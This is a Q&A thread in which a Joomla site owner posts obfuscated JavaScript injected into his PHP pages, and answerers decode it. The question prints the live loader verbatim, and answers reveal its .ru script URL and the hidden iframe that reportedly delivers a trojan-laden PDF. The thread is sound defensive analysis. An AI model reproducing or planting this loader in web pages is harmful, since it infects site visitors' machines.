views:

756

answers:

8

My Joomla! website has been repeatedly hacked into. Someone, somehow, managed to inject the following rubbish into the key php scripts, but I mean not to talk about configuring Joomla. The site is not visited much (at times I fear I might be the only visitor to that site...) and I don't care much to have the site back up and running. I'll handle that eventually.

My question is, how does this rubbish work? I look at it and I just don't see how does this manage to do any harm? What it does is it tries to download a PDF file called ChangeLog.pdf, which is infected with a trojan and after opening will freeze up your Acrobat and wreak havoc on your machine. How does it do that, I don't know, I don't care. But how does the following piece of script invoke the download?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
+7  A: 
Russ Cam
simple as that, is it? my goodness... i've been pwnd by SO again :)
Peter Perháč
That is a hilarious URL.
Jordan
Why can't I follow the link?
Josh Stodola
@Josh - It's up to you, I haven't tried it so can't tell you exactly why. I suspect that there may be malicious scripts on the page. You could do so at your own risk!
Russ Cam
+4  A: 

It uses the replace function to replace the rubbish chars using regex, nothing wrong with the code:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
Sarfraz
+29  A: 

Notice the replace call after the giant messy string: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

It removes most of the special characters, turning it into a normal URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(I manually changed http: to evil:)

Note that the regex could have been simplified to .replace(/[#$@^&()!]/ig, '')

If you look at the script, you'll see that it's a very simple script that injects a hidden IFRAME containing the path /index.php?ys from the same domain.

I requested that page in Fiddler, and it had no content.

SLaks
I think the script providing the content of the iframe is made so as not to start the pdf download everytime. There may be a 1 in 10 chance or something like that. It did not try to download the pdf everytime I refreshed the joomla page. Could be even 1 in 100... who knows?
Peter Perháč
+1 for mentioning that the code could have been written more efficiently. :)
Pekka
+2  A: 

Its load script from

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

And that script load iframe from with visibility hidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
S.Mark
+2  A: 

When you read the whole thing, you find that it is a string followed by a replace command.

Raj More
+8  A: 

These answers might help you understand the nature of the malicious JavaScript code but what you should be looking for is a way to close the loophole inherant in the Joomla engine. Pre-packaged frameworks are prone to loopholes, either intentional or unintentional, especially when you take into consideration that they are engineered to work on unix, mac and windows environments.

My work requires I run many domains, applications and frameworks on many types of servers and systems for clients and myself. Over time I've seen more and more bots crawling these systems looking for known loopholes/entrances by-way of back-door entrances created by those frameworks. Good thing when I use any type of framework, which I seldom do, I make sure to rename most if not the entire file structure to rid myself of those pesky loopholes/back-doors. At the very least you can rename directories which will throw off most bots, but my way is to completely eliminate references that give clues as to the nature of the framework, which includes renaming of the entire file structure not just directories. Always keep a map of the new naming conventions relative to the old naming conventions in order to make adding plug-ins to your base framework a snap. Once you get the hang of this you can go as far as programatically renaming the entire framework filestructure for quicker results, this is especially useful when having to deal with clients needing to be able to update their framework with plug-ins and the like.

drlouie - louierd
Just don't remove information about the source of the framework, that would be flat wrong.
drlouie - louierd
Oooo, thanks. That's a nice answer. Not really answering the question but still +1, as this was indeed a very interesting read and good suggestions made. Ta
Peter Perháč
+1  A: 

I have same sript on my pages in index*.* files. I'm writing my own code in PHP. My question isn't how does this work, but I'm asking how to protect if you know their backdoors. I changed forms and reading $_POST and $_GET with replacing <> and http:// etc.

Kulik
A: 

My two cents. Have you / can you install a Joomla backup tool such as Joomlapack?

I've set it to run via a CHRON script to keep the goods handy in case the muggers get to mugging.

What version of Joomla are you running?

1.0.X versions aren't being updated any longer, and it's age is really starting to show. You owe it to yourself to do a backup and plan to upgrade to 1.5 and anticipate the wonders of 1.6

greenkoi